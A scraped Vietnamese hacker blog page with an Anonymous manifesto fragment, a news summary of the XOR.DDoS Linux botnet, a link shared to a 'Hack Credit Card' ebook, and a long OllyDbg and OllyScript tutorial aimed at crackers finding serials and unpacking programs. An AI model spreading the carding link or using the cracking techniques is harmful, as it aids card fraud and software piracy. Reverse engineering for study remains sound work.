logo you have to understand that our ideals are justice and freedom. To protect the future for the people and for the people's sake, you have to know</span><br style="background-color: white; color: #333333; font-size: 13px; line-height: 17px;" /><span style="background-color: white; color: #333333; font-size: 13px; line-height: 17px;">the fact that the leaders of the country are hiding. If you do not understand these things you are not eligible to take the name "anonymous" of ours.</span><br style="background-color: white; color: #333333; font-size: 13px; line-height: 17px;" /><br style="background-color: white; color: #333333; font-size: 13px; line-height: 17px;" /><span style="background-color: white; color: #333333; font-size: 13px; line-height: 17px;">4. If anyone using the logo and our pictures as a joke, we will be offensive to those who call themselves Anonymous.</span><br style="background-color: white; color: #333333; font-size: 13px; line-height: 17px;" /><span style="background-color: white; color: #333333; font-size: 13px; line-height: 17px;">If you act contrarily to our ideals, you are disgracing our name.</span><br style="background-color: white; color: #333333; font-size: 13px; line-height: 17px;" /><br style="background-color: white; color: #333333; font-size: 13px; line-height: 17px;" /><span style="background-color: white; color: #333333; font-size: 13px; line-height: 17px;">5. Anonymous is not a street prostitution.</span><br style="background-color: white; color: #333333; font-size: 13px; line-height: 17px;" /><br style="background-color: white; color: #333333; font-size: 13px; line-height: 17px;" /><span style="background-color: white; color: #333333; font-size: 13px; line-height: 17px;">We want you to stand up to change your country.</span><br style="background-color: white; color: #333333; font-size: 13px; line-height: 17px;" /><br style="background-color: white; color: #333333; font-size: 13px; line-height: 17px;" /><span style="background-color: white; color: #333333; font-size: 13px; line-height: 17px;">We are Legion. </span><br style="background-color: white; color: #333333; font-size: 13px; line-height: 17px;" /><span style="background-color: white; color: #333333; font-size: 13px; line-height: 17px;">United as ONE.</span><br style="background-color: white; color: #333333; font-size: 13px; line-height: 17px;" /><span style="background-color: white; color: #333333; font-size: 13px; line-height: 17px;">Divided by zero.</span><br style="background-color: white; color: #333333; font-size: 13px; line-height: 17px;" /><span style="background-color: white; color: #333333; font-size: 13px; line-height: 17px;">We do not forgive Censorship. </span><br style="background-color: white; color: #333333; font-size: 13px; line-height: 17px;" /><span style="background-color: white; color: #333333; font-size: 13px; line-height: 17px;">We do not forget Oppression. </span><br style="background-color: white; color: #333333; font-size: 13px; line-height: 17px;" /><span style="background-color: white; color: #333333; font-size: 13px; line-height: 17px;">Expect us!!</span></span></div>

Anonymous - Messege to Community Hacker Vietnam

Dear brothers and sisters. Now is the time to open your eyes!  The message we want to send to the community of Hacker Vietnam and those wh...

Read More »

DDoS Malware trên Linux phát tán thông qua tấn công Brute Force

<div dir="ltr" style="text-align: left;" trbidi="on"> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgv84ktRpjtbnx-Ipg9vcd4ZgSsSGtFfyu0iuzHl3hroC7IDNxT4748TQkuKdG5QiTkUi08UbQWKiKRSvOysn0A4o7ImKpYHsXLQwwd8aZWu6c90MboRCRmT4Uw-YSGmEIkILu3ehu1s9qL/s1600/linux4.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgv84ktRpjtbnx-Ipg9vcd4ZgSsSGtFfyu0iuzHl3hroC7IDNxT4748TQkuKdG5QiTkUi08UbQWKiKRSvOysn0A4o7ImKpYHsXLQwwd8aZWu6c90MboRCRmT4Uw-YSGmEIkILu3ehu1s9qL/s1600/linux4.jpg" /></span></a></div> <strong><span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif;"><br /></span></strong> <strong><span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif;">Các nhà nghiên cứu tại FireEye đã theo dõi một chiến dịch mà trong đó nhân tố độc hại sử dụng tấn công brute force vào giao thức Secure Shell (SSH) để cài đặt mã độc tấn công DDoS trên Linux và các hệ thống khác.</span></strong><br /> <span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif;">Malware có tên XOR.DDoS lần đầu được ghi nhận quay trở lại vào tháng 9 bởi nhóm các nhà nghiên cứu Malware Must Die và có sự liên quan đến Trung Quốc. XOR.DDoS khác với những DDoS bot khác bởi vì nó được viết bằng C/C++ và sử dụng một thành phần rootkit để duy trì.</span><br /> <span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif;">FirEye bắt đầu phân tích XOR DDoS vào giữa tháng 9 khi nhận được một vụ tấn công brute force đến từ một địa chỉ IP thuộc về Hee Thai Limited, một tổ chức có trụ sở tại Hong Kong. FireEye nhận thấy hơn 20,000 lượt thử đăng nhập SSH mỗi máy chủ trong 24 giờ đầu tiên.</span><br /> <span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif;">Lượt thứ hai của chiến dịch diễn ra vào 19 tháng 11 và 30 tháng 11. Hơn 150,000 lần thử đăng nhập từ các địa chỉ IP thuộc về Hee Thai Limited. Lượt thứ 3 bắt đầu từ 7 tháng 12 và diễn ra đến tận bây giờ. Gần 1 triệu lần thử đăng nhập trên mỗi máy chủ.</span><br /> <span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif;">Trong trường hợp một mật khẩu SSH brute-forced thành công, tin tặc sẽ đăng nhập vào máy chủ và thực thi lệnh SSH shell. Chúng sẽ lấy thông tin kernel và phiên bản từ thiết bị và sử dụng chúng để tạo ra mã độc tương thích. Khi đã cài đặt trên một hệ thống, XOR.DDoS sẽ kết nối đến máy chủ C&C, từ đó nó sẽ lấy danh sách đối tượng tấn công. Ngoài tấn công DDoS, các botnet sẽ có nhiệm vụ tải về và thực thi các tập tin nhị phân, nó có thể tự thay thế một phiên bản mới hơn tính năng tự động cập nhật.</span><br /> <span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif;">Các nhà nghiên cứu cũng phát hiện hai biến thể XOR.DDoS khác dùng trên x86, ARM và các nền tảng khác.</span><br /> <div style="text-align: right;"> <span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif; text-decoration: underline;"><strong>Securityweek</strong></span></div> </div>

DDoS Malware trên Linux phát tán thông qua tấn công Brute Force

Các nhà nghiên cứu tại FireEye đã theo dõi một chiến dịch mà trong đó nhân tố độc hại sử dụng tấn công brute force vào giao thức Secure ...

Read More »

Share Ebook Hack Credit Card Written By HieuPC

<div dir="ltr" style="text-align: left;" trbidi="on"> <span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif;">Link Mediafire: <a href="https://www.mediafire.com/?nqux8r5xawe5w">https://www.mediafire.com/?nqux8r5xawe5w</a></span></div>

Share Ebook Hack Credit Card Written By HieuPC

Link Mediafire: https://www.mediafire.com/?nqux8r5xawe5w

Read More »

Sử dụng OllyDBG cơ bản!

<div dir="ltr" style="text-align: left;" trbidi="on"> <span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif;"><br /> OllyDBG hiện giờ đang được sử dụng rất phổ biến nhờ giao thân thiện của nó. Tôi mạn phép post mấy bài hướng dẫn của các pác QHQCrker; benina; kienmanowar bên realonline. Mong các pác cùng thảo luận!<br /> <br /> Sử dụng OllyDBG, ## Cơ bản ##<br /> Copyright by Moonbaby - REA.fareastking.com<br /> <br /> <br /> I - Giới thiệu :<br /> <br /> - Ollydbg hay gọi tắt là Olly, là một chương trình DEBUGGER dễ sử dụng, trực quan . Thích ứng cho mọi cấp độ CrackEr khác nhau.<br /> - Có thể nói Olly bao hàm rất nhiều tính năng mà nếu sử dụng riêng lẻ ta phải cần đến nhiều chương trình kết hợp lại . Hiện nay Olly đã có Version 1.0<br /> - Phần hướng dẫn sử dụng Olly này bao gồm ba phần :<br /> *** Phần I : Cài đặt và cấu hình Olly<br /> *** Khần II : Tổng quan về Olly<br /> *** Phần III : Sử dụng Olly<br /> <br /> II – Cài đặt và cấu hình Olly<br /> <br /> - Olly không cần cài đặt, khi load về ta chỉ việc bung nén vào trong một thư mục là đã có thể sử dụng Olly. Tuy nhiên, để có thể sử dụng thêm một số chức năng của Olly ta cần phải cấu hình thêm và tìm thêm một số Plugins được viết riêng cho chương trình.<br /> - Bạn có thể load Olly từ trang chủ http://home.t-online.de/home/Ollydbg hay từ http://moonbaby.envy.nu/002-tools/olly với các Plugin và cấu hình định sẵn.<br /> - Sau khi Unzip Olly vào thư mục ( chẳng hạn OllyDbg ) bạn sẽ thấy có một thư mục định sẵn Plugins, bạn cần tạo thêm một thư mục nữa là Udd. Đồng thời nếu bạn tải Olly về từ trang chủ sẽ không có file ollydbg.ini ( file này lưu giữ cấu hình của Olly ), nhưng khi bạn chạy Olly lần đầu tiên thì chương trình sẽ tạo file này cho bạn.<br /> - Khởi động Olly lên, bạn chọn Options --> Appearance --> Directories. Ở đây bạn sẽ thấy hai đường dẫn là Udd Path và Plugin Path, bạn hãy chọn đường dẫn về thư mục của Olly. Sau đó chương trình yêu cầu bạn khỏi động lại để chập nhận chỉnh sửa.<br /> - Sau khi khởi động lại bạn sẽ nhìn thấy trên thanh công cụ chính của Olly xuất hiện thêm một mục mới Plugins.<br /> - Khi bạn tải Olly từ trang web http://moonbaby.envy.nu/002-tools/olly, trong này đã có sẵn file ollydbg.ini, một số Plugins cần thiết và đã được cấu hình sẵn cho bạn các số thông số về màu sắc, màu nền cũng như một số các tuỳ chọn khác. Khi bạn tải Olly về từ trang chủ thì khi khởi động chương trình màu sắc của Olly sẽ trông không được đẹp. Để chỉnh sửa mà sắc bạn chọn Options --> Appearance, trong cửa sổ này bạn vào từng mục và chọn màu sắc, font và kích thước chữ, màu nền, màu highline ..... Sau đó khởi động lại Olly để kích hoạt thay đổi.<br /> - Khi đã quen thuộc với Olly, bạn nên vào phần HELP để tìm hiểu thêm và cấu hình Olly theo ý của bạn. Song nếu bạn mới bắt đầu sử dụng Olly, tôi khuyên bạn nên sử dụng cấu hình định sẵn khi bạn tải về từ http://moonbaby.envy.nu/002-tools/olly<br /> <br /> III – Tổng quan về Olly :<br /> <br /> Olly có thể chia thành 5 cửa sổ chính . Để chuyển đổi qua lại giữa các cửa sổ này ta dùng phím TAB. Và phím Shift-TAB sẽ chuyển về cửa sổ trước đó.<br /> <br /> III.1 - CPU :<br /> <br /> - Hầu hết thời gian chúng ta tập trung vào đây. Cửa sổ này chia làm 4 ô nhỏ. Ta xét từ trái sang phải :<br /> ** Ô thứ nhất : Hiển thị địa chỉ của code. Khi ta double-click vào nó thì ngay dòng chúng ta double-click vào sẽ đổi thành “ $ == > “, bên trên nó sẽ là “ $ - x “ và bên dưới sẽ là “ $ + x “. Các giá trị “ x “ này chính là số byte của câu lệnh.<br /> ** Ô thứ hai : chính là mã lệnh. Khi ta double-click vào nó thì có nghĩa ta đặt BreakPoint tại đó. Và khi double-click lần nữa thì xoá bỏ điểm đặt BreakPoint này.<br /> ** Ô thứ ba : code Assembler. Đây là ô rất quan trọng trong suốt quá trình trace code. Khi ta double-click vào nó thì sẽ hiện lên ô “Assemble at XXXXXXXX”, chúng ta có thể sửa code của chương trình thông qua ô này.<br /> ** Ô thứ tư : hiển thị thông tin của chương trình. Chúng ta sử dụng ô này để tìm các chuỗi đặt biệt. Và khi chúng ta chuyển sang cửa sổ “Text String reference” thì mọi thông tin của cửa sổ này chính là thông tin của ô này. Khi ta double-click vào nó thì sẽ hiện lên ô “ Add comment at XXXXXXXX” cho chúng ta ghi chú lại thông tin, chú giải cần thiết để sử dụng cho lần sau.<br /> <br /> III.2 - Registers [FPU, MMX, 3DNow!] :<br /> <br /> - Cửa sổ thứ hai nằm bên phải cửa sổ thứ nhất.<br /> - Hiển thị các thanh ghi và cờ trong Assembly. Cửa sổ này cần thiết để chúng ta theo dõi sự thay đổi giá trị của các thanh ghi, các lệnh toán học ….<br /> <br /> III.3 - Cửa số thứ ba :<br /> <br /> - Cửa sổ nhỏ nằm ngay bên dưới của sổ thứ nhất.<br /> - Thông báo cho ta biết địa chỉ thực, giá trị tính toán, ... trước khi đưa vào hiển thị ở Cửa Sổ Thứ Hai.<br /> - Trong cửa sổ này, khi ta right click vào một dòng thì có thể xuất hiện cửa sổ phụ với các tùy chọn ( tối đa là 4 tuỳ chọn ) Modify data, Follow address in Dump, Follow value inDump và Appearance.<br /> - Tuy nhiên phải ghi nhớ một điều, thông số xuất hiện trong cửa sổ này là giá trị của dòng lệnh trong cửa sổ thứ nhất khi ta trace tới. Còn khi ta dò thì không xuất hiện thông số trong cửa sổ này<br /> *** Modify data : khi chọn mục này sẽ xuất hiện cửa sổ Modify dWord at XXXXX với ba giá trị là Hexadecimal, Signed và Unsigned. Ưu điểm của của sổ này là trong một số trường hợp ta có thể xem được số SERIAL thực của chương trình.<br /> *** Follow address in Dump : Chuyển cửa sổ thứ tư đến địa chỉ mà ta chọn. Rất cần thiết khi ta cần xem xét giá trị của chương trình được lưu tại địa chỉ này<br /> *** Follow value inDump : Chuyền cửa sổ thứ tư đến giá trị của địa chỉ mà ta chọn.<br /> *** Appearance : thông báo về các tùy chọn trong Options --> Appearance .<br /> <br /> III.4 - Address, Hex dump, ASCII hay UNICODE<br /> <br /> - Cửa sổ thứ tứ nằm bên dưới cửa sổ thứ ba .<br /> - Cần thiết để ta quan sát sự thay đổi các giá trị tính toán của chương trình.<br /> - Trong một vài trường hợp ta có thể tìm thấy chuỗi SERIAL ở đây.<br /> <br /> III.5 - STACK<br /> <br /> - Cửa sổ thứ năm nằm bên dưới của sổ thứ hai và ngay bên phải cửa sổ thứ ba.<br /> - Đây là bộ nhớ tạm của chương trình.<br /> - Các thông số của một hàm trước khi xử lý sẽ được lưu tạm vào trong STACK này. Theo dõi chặt chẽ sự thay đổi các vùng nhớ và giá trị của cửa sổ này sẽ giúp ích rất nhiều trong quá trình tìm ra chuỗi SERIAl thực.<br /> <br /> ---------------------------------------------------------<br /> <br /> <br /> <br /> <br /> INSTALL, RUN AND WRITE A SCRIPT IN OLLDG<br /> <br /> Thưa các bạn. Đặc biệt cho Newbie.<br /> Như các bạn thấy đó, khi chúng ta học crack , đa số các phần mềm bây giờ thường được pack bằng một packer nào đó . Nhưng chúng ta là newbie thì ko biết UNPACK như thế nào. Thường thì chúng ta tìm một unpacker để unpack . Nếu ko có thì chúng ta phải học các TUT MUP , còn gọi là các tut unpack ‘bằng tay’ rồi thực hành theo để unpack các phần mềm chúng ta muốn crack. Các tut MUP dạy cho chúng ta các bước sau:<br /> -Find OEP<br /> -Dump chương trình trong bộ nhớ bắt đầu tại OEP vừa tìm được ra 1 file<br /> -Fix IAT<br /> -Sau đó là Rebuild PE.<br /> (OEP,IAT,PE... là gì hôm nào rãnh tui tổng hợp cho các bạn)<br /> Thường thường đối với một lọai packer, chúng ta tìm OEP giống nhau cho các chương trình bị pack bằng packer đó. Khi các bạn biết cách tìm OEP rồi thì công việc này thật nhàm chán. Vì nó chỉ là các thao tác lập lại mỗi khi chúng ta muốn unpack lọai packer đó. Vì vậy để không phải mỗi lần chúng ta unpack là phải đem TUT MUP ra đọc, rồi thao tác y chang như vậy để tìm OEP , các cracker đã dùng ngôn ngữ Script trong Olly để “viết các thao tác nhàm chán” đó lưu lại thành một file script . Khi unpack bạn chỉ cần chạy file đó là Olly sẽ tự động tìm cho bạn OEP. Khỏe re phải không bạn. Hi`<br /> Một trong những tay cracker của VN viết rất nhiều các script là lão hacnho. Các bạn hảy vào website của lão ta mà tìm các script nhé: http://www.reaonline.net/forum/links.php?url=http://www.hacnho.nhandan.info<br /> Mục đích của TUT này là giúp các bạn newbie chạy được một file script và làm quen với ngôn ngữ script để hiểu được những gì các tác giả viết trong file script. Không khó lắm đâu các bạn. Chúng ta học từ từ rồi sẽ biết thôi mà. <br /> <br /> <br /> 1.CÀI ĐẶT OLLYDBGSCRIPT VÀ CHẠY MỘT FILE SCRIPT:<br /> <br /> Cài đặt OllyScript theo các bước sau:<br /> 1. Đầu tiên bạn phải có OllyDbg đã được cài đặt sẳn.( Điều này là tất nhiên rồi)<br /> 2. Cài đặt 1 thư mục có tên là “plugins” trong thư mục chứa OllyDbg trên máy bạn.<br /> 3. Bạn download file ollyscript.dll trên mạng về và copy nó vào thư mục “plugins” đã tạo ở trên<br /> 4. Mở OllDbg lên , vào menu options , chọn Appearance/Directories. Một dialog pops up ra<br /> 5. Trong dialog vừa bật lên ta set “Plugin path” đến thư mục “Plugins” đã tạo ra ở trên.<br /> 6. Restart OllyDbg. Bây giờ OllyScript đã có trong menu Plugins .<br /> 7. Để chạy một script , ta chọn “Run script…” trong menu Plugins/OllyScript và chọn file script và bạn muốn run.<br /> <br /> 2.GIỚI THIỆU VỀ NGÔN NGỮ SCRIPT:<br /> <br /> Để viết các file script các bạn ko cần một chương trình sọan thảo riêng nào cả , chỉ cần sọan thảo trong Notepad là được và lưu ra file có đuôi .txt hay gì cũng được, thỏai mái như “lai cái” hi`hi`.<br /> Bây giờ tui giới thiệu với các bạn cái ngôn ngữ script đơn giản này như đang giởn này:<br /> Tui xài Olly 1.10 và Plugins v0.91. Các bạn hảy vào trang web Olly tải về nhé.<br /> Đầu tiên tui xin giới thiệu về cái menu của nó<br /> <br /> a-Menus:<br /> <br /> Bạn vào menu Plugins của Olly, chọn OllyScript, ta thấy các menu con như sau:<br /> -Run script…: Cho người sử dụng chọn một file script và chạy nó.<br /> -Abort : bỏ qua khi ko muốn script chạy tiếp<br /> -Pause: Tạm ngừng script khi nó đang chạy<br /> -Resume: Chạy tiếp khi script bị paused<br /> -about: Thông tin về plugin này<br /> Bây giờ chúng ta vào mục chính nhé:<br /> <br /> b-Về Ngôn ngữ OllyScript:<br /> <br /> Ngôn ngữ script trong olly tương tự về mặt ngôn ngữ như ngôn ngữ ASM. Nhưng khác ở chổ nó ko cần phải biên dịch ra một file .exe , mà thực chất nó là một ngôn ngữ thông dịch trong Olly. Nếu các bạn nào biết dùng ngôn ngữ Lisp trong AutoCAD thì Script cũng tương tự như vậy trong Olly. Tại sao tui nói nó là ngôn ngữ thông dịch chứ ko phải biên dịch, vì khi Olly khi run 1 script thì gặp lệnh nào là thực hiện ngay lệnh đó, chứ ko phải biên dịch hết file script rồi mới chạy. Các bạn nên có khái niệm về vấn đề này.<br /> <br /> i/Qui ước dữ liệu:<br /> <br /> Đây cũng chính là Rule của OllyScript<br /> Sau đây là một số quy ước của script về dữ liệu src (nguồn) và dest (đích) cho các lệnh (như lệnh “MOV dest,src” chẳng hạn):<br /> -Constant ( Hằng số): giống như ASM là 1 số hex, nhưng trong script không có những ký hiệu trước hay sau số hex.<br /> Ví dụ:<br /> Trong script , một số hex được viết là 00FF chứ ko phải 0x00FF hay 00FFh<br /> -Variable (Biến): Giống như Pascal, biến được mô tả sau từ khóa VAR nhưng ko cần khai báo lọai biến vì chỉ có 1 lọai biến là số hex.<br /> -Chỉ có một lọai thanh ghi 32-bit trong script như : EAX,EBX, ECX, EDX, ESI, EDI, EBP, ESP, EIP. Không có thanh ghi 16-bit như AX , hay 8-bit như AL. Nhưng bạn có thể dùng lệnh SHL/SHR và AND để lấy giá trị của chúng.<br /> -Tham chiếu đến một vùng nhớ nào đó ta cho địa chỉ nhớ nằm trong 2 dấu […. ]<br /> Ví dụ:<br /> [401000] : trỏ đến vùng nhớ tại địa chỉ 401000<br /> [ecx] : trỏ đến vùng nhớ tại địa chỉ ecx<br /> -Để dùng Flag (cờ) trong Script ta dùng dấu cảm thán “!” trước tên flag<br /> Ví dụ: !CF, !PF, !AF, !ZF, !SF, !DF, !OF<br /> -Byte string (chuổi byte, mỗi 1 byte là 2 số hex) để được script hiểu nó phải đặt trong 2 dấu thăng # và chuổi byte phải là số chẳn các số hex giữa 2 dấu # (2 số hex cho 1 byte nên lúc nào cũng phải chẳn)<br /> Ví dụ: #6A0000# (có 6 số là số chẳn chứa trong 2 dấu #)<br /> -Hay hơn nữa là byte string có chứa wildcard là dấu “?”.<br /> Ví dụ: #6A??00# hay #6?0000#<br /> -Chuổi ký tự trong Script được viết giữ 2 dấu “…..”<br /> Ví dụ: chuổi ký tự benina là “benina”<br /> -Đối với một số lệnh,để lấy giá trị của một biến ta đặt biến đó trong {..}<br /> Ví dụ:<br /> Var x<br /> Mov x,”00402222”<br /> Mov eax,{x}======== >>eax=00402222<br /> ii/Các biến riêng của Script:<br /> <br /> Quote:<br /> $RESULT<br /> Đây là giá trị trả về của vài chức năng giống như chức năng FIND….<br /> <br /> $VERSION<br /> <br /> Biến này chứa version hiện hành của OllyScript<br /> Ví dụ:<br /> cmp $VERSION, "0.8"<br /> ja version_above_08<br /> <br /> <br /> iii/Comments (Ghi chú thích khi viết script):<br /> Bất cứ khi nào tui muốn học một ngôn ngữ mới , việc đầu tiên tui phải học là cách comment trong ngôn ngữ đó. Vì khi ta tiến hành viết lệnh, nếu ko ghi chú thích đầy đủ, chừng nữa tiếng sau…. , tui ko biết tui đã viết gì…. tui ngu bẩm sinh mà. Vì vậy tui sẽ giới thiệu với các bạn cách comment trong script như sau:<br /> - Comment cho 1 dòng lệnh ta dùng “//” trước lời chú thích<br /> - Comment một cụm lời chú thích ta đặt “/*” đầu cụm và “*/” cuối cụm chú thích<br /> <br /> iv-Skeleton script (Nhân của một script):<br /> <br /> Như các bạn biết khi học pascal, một chương trình pascal chuẩn như sau:<br /> <br /> <br /> Quote:<br /> Program tenchuongtrinh<br /> Khai báo biến, hằng, ….<br /> Begin<br /> Các lệnh;<br /> End.<br /> <br /> <br /> <br /> Cái đó chính là nhân của một chương trình pascal. Vậy nhân của script như thế nào?.Thực ra trong OllyScript ko qui định về nhân, nhưng để qui định chung khi “thuở ban đầu mới yêu nhau” , benina xin đề xuất một cái nhân như sau:<br /> <br /> <br /> Quote:<br /> /*=================<br /> Tên Script<br /> ==================*/<br /> Khai báo biến, includes …(Không bắt buộc)<br /> Các lệnh Script<br /> ……………<br /> …………..<br /> RET // Exits script<br /> <br /> <br /> <br /> Thực chất ra các dòng comment về tên script ko cần thiết, nhưng chúng ta hảy tập thói wen này để sau này dễ tra cứu script này làm gì.<br /> Ở đây chúng ta thấy lệnh RET ở cuối file. Nó chính là lệnh thóat khỏi script trở về Olly. Nó cũng tương tự như lệnh End trong Pascal thôi.<br /> <br /> <br /> v-Chương trình đầu tiên của bạn:<br /> Để cho đỡ buồn chán bây giờ tui sẽ hướng dẫn các bạn làm một file script đơn giản:<br /> Các bạn hảy bật Notepad lên và sọan thảo một file .txt như sau:<br /> <br /> <br /> Quote:<br /> /*///////////////////////////////////<br /> Chuong tinh dau tien cua ban<br /> /////////////////////////////////////*/<br /> MSG “benina is a good newbie” // hiện hộp thọai<br /> RET // exits script<br /> <br /> <br /> <br /> Bây giờ các bạn hảy lưu file text trên vào một thư mục bất kỳ.Hảy bật Olly lên, chú ý: ta hảy open 1 file .exe nào đó trong Olly rồi mới chạy script trên được nhé. Xong chưa các bạn, bây giờ chạy script trên xem sao.<br /> Bùm, nó hiển thị một dialog có dòng thông báo: “benina is a good newbie” đúng ko các bạn. hêhê … Sau đó nó hiện 1 hộp thọai báo “Script finished”….vậy là ta viết script được rồi…pó tay luôn .<br /> Sẳn đây tui giới thiệu với các bạn một lệnh sau:<br /> Như các bạn biết, trong tut “Let’s cracking by Olly” mà tui đã viết , có nói về lệnh comment cho các routine trong Olly (ko phải comment trong script nhe, đừng có lộn!). Nó có phím tắt là button “;”. Khi sử dụng lệnh này các bạn sẽ chú thích được 1 ghi chú trong của sổ CPU tại cột comment. Thưa các bạn, trong Script củng cho phép bạn thao tác được như lệnh “;”. Chỉ thị sau tương tự như lệnh “;” trong Olly:<br /> <br /> <br /> Quote:<br /> CMT addr, text<br /> -----------------<br /> Thêm vào dòng chú thích text tại địa chỉ addr<br /> Ví dụ:<br /> Cmt eip, “This is the EP”<br /> <br /> <br /> <br /> Như các bạn biết , thanh ghi eip chứa chỉ thị lệnh sắp thực hiện. Vì vậy khi open 1 file trong Olly , eip luôn chứa chỉ thị lệnh đầu tiên của chương trình đó cũng chính là EP của chương trình. Bây giờ ta viết lại script trên như sau:<br /> <br /> <br /> Quote:<br /> /*///////////////////////////////////<br /> Chuong tinh dau tien cua ban<br /> /////////////////////////////////////*/<br /> <br /> MSG “benina is a good newbie” // hiện hộp thọai<br /> Cmt eip, “This is the EP”<br /> RET // exits script<br /> <br /> <br /> <br /> Bạn hảy cho chạy script trên, và nó làm việc như ý chứ?. Bạn có thấy tại dòng lệnh đầu tiên trong của sổ CPU của Olly có dòng comment “This is the EP” không?. OK!<br /> Sở dĩ tui post lệnh cmt này trước cho các bạn vì trong TUT của lão hacnho hay sử dụng cái lệnh này để ghi chú OEP đã tìm được. Bây giờ thì chúng ta đã lấn sâu vào Script một chút rồi đấy.<br /> <br /> Chú ý: Khi viết script , nhiều khi bị rối, chương trình chạy tầm bậy, ta muốn debug xem script chạy sai chổ nào, chúng ta hảy ứng dụng lệnh MSG làm breakpoint trong script nhé. Khi đó chương trình ngừng lại cho chúng ta xem xét…hihi.Hay các bạn dùng lệnh sau là breakpoint cũng được:<br /> <br /> <br /> Quote:<br /> PAUSE<br /> ----------<br /> Tạm ngừng tiến trình script đang thực thi. Muốn resume tiếp tục thì ta vào menu plugins /OllyScript/Resume<br /> Ví dụ: trong file script ta đánh vào lệnh:<br /> pause<br /> <br /> <br /> <br /> Vậy là coi như chương trình đầu tiên đã xong.<br /> <br /> vi-Khai báo biến, hằng, và includes<br /> <br /> -Khai báo biến:<br /> <br /> Quote:<br /> VAR varname<br /> ------------<br /> Khai báo biến để được dùng trong Script<br /> Phải khai báo trước khi dùng biến<br /> Ví dụ:<br /> Var x<br /> <br /> <br /> <br /> -Khai báo hằng: Thực ra trong Script ko có khai báo hằng , muốn khai báo hằng chúng ta cho 1 biến có giá trị đầu tiên, đơn giản vậy thôi.<br /> Trước tiên chúng ta xem lệnh gán giá trị trong Script, nó giống như ASM vậy<br /> <br /> Quote:<br /> MOV dest,src<br /> -----------------<br /> Gán giá trị trong src vào dest<br /> Src có thể là một long hex string với định dạng như sau #<số hex>#, ví dụ: #1234# (số số hex phải là số chẳn nhé)<br /> Ví dụ:<br /> mov x, 0F<br /> mov y, "Hello world"<br /> mov eax, ecx<br /> mov [ecx], #00DEAD00BEEF00#<br /> mov !CF, 1<br /> mov !DF, !PF<br /> <br /> <br /> Vậy khai báo hằng như sau:<br /> <br /> Quote:<br /> Ví dụ:<br /> <br /> Var x<br /> Mov x, “benina is a good newbie”<br /> <br /> <br /> <br /> -Includes một file script:<br /> <br /> Quote:<br /> #INC file<br /> ----------------<br /> Includes một file script trong một file script khác<br /> Ví dụ:<br /> #INC “anotherscript.txt”<br /> <br /> <br /> <br /> Ghi chú: Lệnh này không nhất thiết phải ở đầu chương trính script, bạn muốn đặt ở đâu cũng được. Mục đích chính của nó là, khi script chạy gặp lệnh này thì thực thi tất cả các lệnh trong file “anotherscript.txt” , sau đó mới thực thi tiếp các lệnh sau lệnh #INC (với điều kiện trong “anotherscript.txt” ko có lệnh RET)<br /> <br /> Để ứng dụng các điều vừa học, các bạn hảy viết 2 file script như sau:<br /> <br /> <br /> Quote:<br /> /*///////////////////////////////////<br /> File : Script1.txt<br /> /////////////////////////////////////*/<br /> var x<br /> mov x,"Benina is a good newbie" // khai bao hang x<br /> <br /> #inc "script2.txt" // thực thi các lệnh trong script2.txt<br /> <br /> MSG “Script2 da chay xong!!”<br /> <br /> RET // exits script<br /> <br /> <br /> <br /> <br /> Quote:<br /> ------------------------------------<br /> /*///////////////////////////////////<br /> File : Script2.txt<br /> /////////////////////////////////////*/<br /> <br /> MSG x<br /> // Chu y trong script2 khong co lệnh RET<br /> <br /> <br /> <br /> ---------------------------<br /> Bây giờ bạn hảy cho Olly chạy file Script1 xem sao. Ok! Bạn đã hiểu rồi nhé, không cần giải thích dài dòng. Chỉ chú ý là trong script2 ko có lệnh RET thôi<br /> <br /> vii-Các lệnh thao tác trong Olly:<br /> <br /> Trong Olly các lệnh “thao tác bằng tay” như F9 (run), F8 , F7….. đều được script tự động thực hiện. Sau đây là các lệnh Script tương tự như các lệnh thao tác trong Olly. Mấy cái lệnh này tui ko dịch nhé, vì quá dễ mà:<br /> <br /> Quote:<br /> AI<br /> --<br /> Executes "Animate into" in OllyDbg<br /> Example:<br /> ai<br /> <br /> AN addr<br /> -------<br /> Analyze module which contains the address addr.<br /> Example:<br /> an eip // Same as pressing CTRL-A<br /> <br /> AO<br /> --<br /> Executes "Animate over" in OllyDbg<br /> Example:<br /> ao<br /> RTR<br /> ---<br /> Executes "Run to return" in OllyDbg<br /> Example:<br /> rtr<br /> <br /> RTU<br /> ---<br /> Executes "Run to user code" in OllyDbg<br /> Example:<br /> rtu<br /> <br /> RUN<br /> ---<br /> Executes F9 in OllyDbg<br /> Example:<br /> run<br /> <br /> <br /> STI<br /> ---<br /> Execute F7 in OllyDbg.<br /> Example:<br /> sti<br /> <br /> <br /> STO<br /> ---<br /> Execute F8 in OllyDbg.<br /> Example:<br /> sto<br /> ESTI<br /> ----<br /> Executes SHIFT-F7 in OllyDbg.<br /> Example:<br /> esti<br /> <br /> ESTO<br /> ----<br /> Executes SHIFT-F9 in OllyDbg.<br /> Example:<br /> Esto<br /> TI<br /> --<br /> Executes "Trace into" in OllyDbg<br /> Example:<br /> ti<br /> <br /> TICND cond<br /> ----------<br /> Traces into calls until cond is true<br /> Example:<br /> ticnd "eip > 40100A" // will stop when eip > 40100A<br /> <br /> TO<br /> --<br /> Executes "Trace over" in OllyDbg<br /> Example:<br /> to<br /> <br /> TOCND cond<br /> ----------<br /> Traces over calls until cond is true<br /> Example:<br /> tocnd "eip > 40100A" // will stop when eip > 40100A<br /> PAUSE<br /> -----<br /> Pauses script execution. Script can be resumed from plugin menu.<br /> Example:<br /> pause<br /> <br /> <br /> <br /> <br /> Tóm tắt các lệnh trên như sau: (Để chúng ta dễ tra khi đọc code hay viết code cho script)<br /> <br /> Quote:<br /> AI --------- Ctrl-F7 : Animate Into<br /> AN---------Ctrl-A : ANalyze module<br /> 